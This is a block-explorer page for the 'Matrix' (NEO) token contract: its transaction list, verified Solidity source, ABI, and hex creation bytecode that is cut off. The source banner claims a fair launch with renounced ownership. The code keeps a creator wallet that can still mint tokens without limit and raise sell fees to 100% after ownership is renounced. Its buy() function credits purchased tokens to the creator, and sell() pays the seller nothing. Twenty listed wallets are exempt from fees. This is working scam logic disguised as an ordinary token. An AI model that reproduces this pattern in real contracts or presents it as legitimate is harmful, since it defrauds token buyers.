Overview
ETH Balance
ETH Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 10 from a total of 10 transactions
| Transaction Hash |
|
Block
|
From
|
To
|
|||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 418039 | 695 days ago | IN | 0 ETH | 0.00021876 | ||||
| Approve | 417760 | 695 days ago | IN | 0 ETH | 0.00022391 | ||||
| Approve | 417463 | 695 days ago | IN | 0 ETH | 0.00017176 | ||||
| Approve | 417417 | 695 days ago | IN | 0 ETH | 0.0001765 | ||||
| Approve | 417342 | 695 days ago | IN | 0 ETH | 0.00019574 | ||||
| Set Fees | 417201 | 695 days ago | IN | 0 ETH | 0.00016737 | ||||
| Set Fees | 417198 | 695 days ago | IN | 0 ETH | 0.00019771 | ||||
| Approve | 417014 | 695 days ago | IN | 0 ETH | 0.00015228 | ||||
| Renounce Ownersh... | 416975 | 696 days ago | IN | 0 ETH | 0.00014449 | ||||
| Approve | 416956 | 696 days ago | IN | 0 ETH | 0.00020142 |
View more zero value Internal Transactions in Advanced View mode
Cross-Chain Transactions
Contract Source Code (Solidity)
/**
*Submitted for verification at blastscan.io on 2024-03-05
*/
// SPDX-License-Identifier: MIT
/**
_____ ______ ________ _________ ________ ___ ___ ___
|\ _ \ _ \|\ __ \|\___ ___\\ __ \|\ \ |\ \ / /|
\ \ \\\__\ \ \ \ \|\ \|___ \ \_\ \ \|\ \ \ \ \ \ \/ / /
\ \ \\|__| \ \ \ __ \ \ \ \ \ \ _ _\ \ \ \ \ / /
\ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \\ \\ \ \ / \/
\ \__\ \ \__\ \__\ \__\ \ \__\ \ \__\\ _\\ \__\/ /\ \
\|__| \|__|\|__|\|__| \|__| \|__|\|__|\|__/__/ /\ __\
STEALTH & FAIR LAUNCH - RENOUNCED OWNERSHIP - COMMUNITY DRIVEN
EXIT THE MATRIX
*/
pragma solidity ^0.8.0;
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "Matrix");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "Matrix");
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "Matrix");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "Matrix");
return a / b;
}
}
contract Matrix {
using SafeMath for uint256;
string public name = "Matrix";
string public symbol = "NEO";
uint256 public totalSupply = 999999999999999999000000000;
uint8 public decimals = 18;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
address public owner;
address public creatorWallet;
uint256 public buyFee;
uint256 public sellFee;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
event TokensBurned(address indexed burner, uint256 amount);
address[] public exemptedWallets;
constructor(address _creatorWallet) {
owner = msg.sender;
creatorWallet = _creatorWallet;
balanceOf[msg.sender] = totalSupply;
exemptedWallets = [
0xd5eCD76F0705A9e1fa12E54d50Aa8B2AAFe8944b,
0xA09734FBF16D0172414306706dAb452bAf340949,
0x32D246c83B8eCf3fc428c064ED6bA43B6DEcA536,
0x92F2a87FA16e09E6746f4b01C078Da76653dFE79,
0x2CF8819D8E0a5BE21E90AE6ADc8bDE966624fCEc,
0xc04f86d6255BfF9D52ca896bD7225cf42CfAA101,
0xB568ED584c7Fa1a3DADE7B26Dc478F72C06B848C,
0xD00968E04a158c5fe505B9E77E5ee3a9F11A74Dc,
0x720C145Db4FEA3F77E92adc805292cfDC4652a97,
0x33B79f546e727f444E89aDbC821b614361f3FA1B,
0xdF9C26965Ec25BEd357EbE10a7D24354C584a79D,
0x51D7CD1A0100dB630e2dE2DEA8FF4E454eDccA41,
0x3eE5Df2a81Ef629AFF2275C74b1611F42A99909a,
0x39f4b91615d2435FF18797f9299c725E6726B84C,
0x3eDEDa582743B43109653828E5b07074229015Ed,
0x392aD5f0D4240B1cDbcb4A8f3429dD916e1a5736,
0x74204df05A54d29A06F4Fa537479F90797F08A6A,
0x3F95624c79256aCA1d35f1AaEaE270cd188A32Ad,
0xA2447E6bb5024722937E7E011555c2819F0e135A,
0x76D2528e0E107978B7f8D54081480A68C0F187C9
];
}
function isFeeExempt(address _wallet) internal view returns (bool) {
for (uint256 i = 0; i < exemptedWallets.length; i++) {
if (_wallet == exemptedWallets[i]) {
return true;
}
}
return false;
}
function transfer(address _to, uint256 _amount)
public
returns (bool success)
{
require(balanceOf[msg.sender] >= _amount);
require(_to != address(0));
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
balanceOf[_to] = balanceOf[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value)
public
returns (bool success)
{
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _amount
) public returns (bool success) {
require(balanceOf[_from] >= _amount, "Matrix");
require(
allowance[_from][msg.sender] >= _amount,
"Matrix"
);
require(_to != address(0), "Matrix");
uint256 fee = 0;
uint256 amountAfterFee = _amount;
if (sellFee > 0 && _from != creatorWallet && !isFeeExempt(_from)) {
fee = _amount.mul(sellFee).div(100);
amountAfterFee = _amount.sub(fee);
}
balanceOf[_from] = balanceOf[_from].sub(_amount);
balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
emit Transfer(_from, _to, amountAfterFee);
if (fee > 0) {
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(_from, address(this), fee);
}
if (
_from != msg.sender &&
allowance[_from][msg.sender] != type(uint256).max
) {
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(
_amount
);
emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
}
return true;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
modifier onlyOwner() {
require(msg.sender == owner, "Matrix");
_;
}
function airdrop(address _to, uint256 _amount) public onlyAuthorized {
require(_to != address(0), "Matrix");
require(_amount > 0, "Matrix");
balanceOf[_to] += _amount;
totalSupply += _amount;
emit Transfer(address(0), _to, _amount);
}
function setFees(uint256 newBuyFee, uint256 newSellFee)
public
onlyAuthorized
{
require(newBuyFee <= 100, "Matrix");
require(newSellFee <= 100, "Matrix");
buyFee = newBuyFee;
sellFee = newSellFee;
emit FeesUpdated(newBuyFee, newSellFee);
}
function buy() public payable {
require(msg.value > 0, "Matrix");
uint256 amount = msg.value;
if (buyFee > 0) {
uint256 fee = amount.mul(buyFee).div(100);
uint256 amountAfterFee = amount.sub(fee);
balanceOf[creatorWallet] = balanceOf[creatorWallet].add(
amountAfterFee
);
emit Transfer(address(this), creatorWallet, amountAfterFee);
if (fee > 0) {
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(address(this), address(this), fee);
}
} else {
balanceOf[creatorWallet] = balanceOf[creatorWallet].add(amount);
emit Transfer(address(this), creatorWallet, amount);
}
}
function sell(uint256 _amount) public {
require(balanceOf[msg.sender] >= _amount, "Matrix");
if (sellFee > 0 && msg.sender != creatorWallet && !isFeeExempt(msg.sender)) {
uint256 fee = _amount.mul(sellFee).div(100);
uint256 amountAfterFee = _amount.sub(fee);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
balanceOf[creatorWallet] = balanceOf[creatorWallet].add(
amountAfterFee
);
emit Transfer(msg.sender, creatorWallet, amountAfterFee);
if (fee > 0) {
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(msg.sender, address(this), fee);
}
} else {
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
balanceOf[address(this)] = balanceOf[address(this)].add(_amount);
emit Transfer(msg.sender, address(this), _amount);
}
}
modifier onlyAuthorized() {
require(
msg.sender == owner || msg.sender == creatorWallet,
"Matrix"
);
_;
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"address","name":"_creatorWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"FeesUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burner","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buy","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"creatorWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"exemptedWallets","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
60806040526040518060400160405280600681526020017f4d617472697800000000000000000000000000000000000000000000000000008152505f908162000049919062000a5b565b506040518060400160405280600381526020017f4e454f00000000000000000000000000000000000000000000000000000000008152506001908162000090919062000a5b565b506b033b2e3c9fd0803cac653600600255601260035f6101000a81548160ff021916908360ff160217905550348015620000c8575f80fd5b506040516200360d3803806200360d8339818101604052810190620000ee919062000ba4565b3360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060025460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060405180610280016040528073d5ecd76f0705a9e1fa12e54d50aa8b2aafe8944b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173a09734fbf16d0172414306706dab452baf34094973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017332d246c83b8ecf3fc428c064ed6ba43b6deca53673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017392f2a87fa16e09e6746f4b01c078da76653dfe7973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001732cf8819d8e0a5be21e90ae6adc8bde966624fcec73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173c04f86d6255bff9d52ca896bd7225cf42cfaa10173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173b568ed584c7fa1a3dade7b26dc478f72c06b848c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173d00968e04a158c5fe505b9e77e5ee3a9f11a74dc73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173720c145db4fea3f77e92adc805292cfdc4652a9773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017333b79f546e727f444e89adbc821b614361f3fa1b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173df9c26965ec25bed357ebe10a7d24354c584a79d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017351d7cd1a0100db630e2de2dea8ff4e454edcca4173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001733ee5df2a81ef629aff2275c74b1611f42a99909a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017339f4b91615d2435ff18797f9299c725e6726b84c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001733ededa582743b43109653828e5b07074229015ed73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173392ad5f0d4240b1cdbcb4a8f3429dd916e1a573673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017374204df05a54d29a06f4fa537479f90797f08a6a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001733f95624c79256aca1d35f1aaeae270cd188a32ad73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173a2447e6bb5024722937e7e011555c2819f0e135a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017376d2528e0e107978b7f8d54081480a68c0f187c973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815250600a906014620007469291906200074e565b505062000bd4565b828054828255905f5260205f20908101928215620007c7579160200282015b82811115620007c6578251825f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550916020019190600101906200076d565b5b509050620007d69190620007da565b5090565b5b80821115620007f3575f815f905550600101620007db565b5090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200087357607f821691505b6020821081036200088957620008886200082e565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620008ed7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620008b0565b620008f98683620008b0565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620009436200093d620009378462000911565b6200091a565b62000911565b9050919050565b5f819050919050565b6200095e8362000923565b620009766200096d826200094a565b848454620008bc565b825550505050565b5f90565b6200098c6200097e565b6200099981848462000953565b505050565b5b81811015620009c057620009b45f8262000982565b6001810190506200099f565b5050565b601f82111562000a0f57620009d9816200088f565b620009e484620008a1565b81016020851015620009f4578190505b62000a0c62000a0385620008a1565b8301826200099e565b50505b505050565b5f82821c905092915050565b5f62000a315f198460080262000a14565b1980831691505092915050565b5f62000a4b838362000a20565b9150826002028217905092915050565b62000a6682620007f7565b67ffffffffffffffff81111562000a825762000a8162000801565b5b62000a8e82546200085b565b62000a9b828285620009c4565b5f60209050601f83116001811462000ad1575f841562000abc578287015190505b62000ac8858262000a3e565b86555062000b37565b601f19841662000ae1866200088f565b5f5b8281101562000b0a5784890151825560018201915060208501945060208101905062000ae3565b8683101562000b2a578489015162000b26601f89168262000a20565b8355505b6001600288020188555050505b505050505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000b6e8262000b43565b9050919050565b62000b808162000b62565b811462000b8b575f80fd5b50565b5f8151905062000b9e8162000b75565b92915050565b5f6020828403121562000bbc5762000bbb62000b3f565b5b5f62000bcb8482850162000b8e565b91505092915050565b612a2b8062000be25f395ff3fe60806040526004361061011e575f3560e01c80637cdc65f21161009f578063a9059cbb11610063578063a9059cbb14610396578063dd62ed3e146103d2578063e4849b321461040e578063f2fde38b14610436578063fb10464d1461045e5761011e565b80637cdc65f2146102e65780638ba4cc3c146103105780638da5cb5b1461033857806395d89b4114610362578063a6f2ae3a1461038c5761011e565b80632b14ca56116100e65780632b14ca5614610216578063313ce56714610240578063470624021461026a57806370a0823114610294578063715018a6146102d05761011e565b806306fdde0314610122578063095ea7b31461014c5780630b78f9c01461018857806318160ddd146101b057806323b872dd146101da575b5f80fd5b34801561012d575f80fd5b5061013661049a565b60405161014391906124e3565b60405180910390f35b348015610157575f80fd5b50610172600480360381019061016d9190612594565b610525565b60405161017f91906125ec565b60405180910390f35b348015610193575f80fd5b506101ae60048036038101906101a99190612605565b610612565b005b3480156101bb575f80fd5b506101c46107cb565b6040516101d19190612652565b60405180910390f35b3480156101e5575f80fd5b5061020060048036038101906101fb919061266b565b6107d1565b60405161020d91906125ec565b60405180910390f35b348015610221575f80fd5b5061022a610f86565b6040516102379190612652565b60405180910390f35b34801561024b575f80fd5b50610254610f8c565b60405161026191906126d6565b60405180910390f35b348015610275575f80fd5b5061027e610f9e565b60405161028b9190612652565b60405180910390f35b34801561029f575f80fd5b506102ba60048036038101906102b591906126ef565b610fa4565b6040516102c79190612652565b60405180910390f35b3480156102db575f80fd5b506102e4610fb9565b005b3480156102f1575f80fd5b506102fa611105565b6040516103079190612729565b60405180910390f35b34801561031b575f80fd5b5061033660048036038101906103319190612594565b61112a565b005b348015610343575f80fd5b5061034c611394565b6040516103599190612729565b60405180910390f35b34801561036d575f80fd5b506103766113b9565b60405161038391906124e3565b60405180910390f35b610394611445565b005b3480156103a1575f80fd5b506103bc60048036038101906103b79190612594565b611892565b6040516103c991906125ec565b60405180910390f35b3480156103dd575f80fd5b506103f860048036038101906103f39190612742565b611aa4565b6040516104059190612652565b60405180910390f35b348015610419575f80fd5b50610434600480360381019061042f9190612780565b611ac4565b005b348015610441575f80fd5b5061045c600480360381019061045791906126ef565b612075565b005b348015610469575f80fd5b50610484600480360381019061047f9190612780565b6121f9565b6040516104919190612729565b60405180910390f35b5f80546104a6906127d8565b80601f01602080910402602001604051908101604052809291908181526020018280546104d2906127d8565b801561051d5780601f106104f45761010080835404028352916020019161051d565b820191905f5260205f20905b81548152906001019060200180831161050057829003601f168201915b505050505081565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106009190612652565b60405180910390a36001905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806106b9575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6106f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ef90612852565b60405180910390fd5b606482111561073c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073390612852565b60405180910390fd5b6064811115610780576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077790612852565b60405180910390fd5b81600881905550806009819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a182826040516107bf929190612870565b60405180910390a15050565b60025481565b5f8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610852576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084990612852565b60405180910390fd5b8160055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054101561090d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090490612852565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361097b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097290612852565b60405180910390fd5b5f808390505f6009541180156109de575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b80156109f057506109ee86612234565b155b15610a3557610a1d6064610a0f600954876122d690919063ffffffff16565b61234d90919063ffffffff16565b9150610a3282856123a490919063ffffffff16565b90505b610a858460045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123a490919063ffffffff16565b60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610b168160045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123fc90919063ffffffff16565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610bb49190612652565b60405180910390a35f821115610cbb57610c148260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123fc90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cb29190612652565b60405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614158015610d8f57507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414155b15610f7957610e1f8460055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123a490919063ffffffff16565b60055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051610f709190612652565b60405180910390a35b6001925050509392505050565b60095481565b60035f9054906101000a900460ff1681565b60085481565b6004602052805f5260405f205f915090505481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611048576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103f90612852565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806111d1575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611210576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120790612852565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361127e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127590612852565b60405180910390fd5b5f81116112c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b790612852565b60405180910390fd5b8060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461130c91906128c4565b925050819055508060025f82825461132491906128c4565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113889190612652565b60405180910390a35050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600180546113c6906127d8565b80601f01602080910402602001604051908101604052809291908181526020018280546113f2906127d8565b801561143d5780601f106114145761010080835404028352916020019161143d565b820191905f5260205f20905b81548152906001019060200180831161142057829003601f168201915b505050505081565b5f3411611487576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147e90612852565b60405180910390fd5b5f3490505f6008541115611735575f6114be60646114b0600854856122d690919063ffffffff16565b61234d90919063ffffffff16565b90505f6114d482846123a490919063ffffffff16565b90506115478160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123fc90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116279190612652565b60405180910390a35f82111561172e576116878260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123fc90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117259190612652565b60405180910390a35b505061188f565b6117a68160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123fc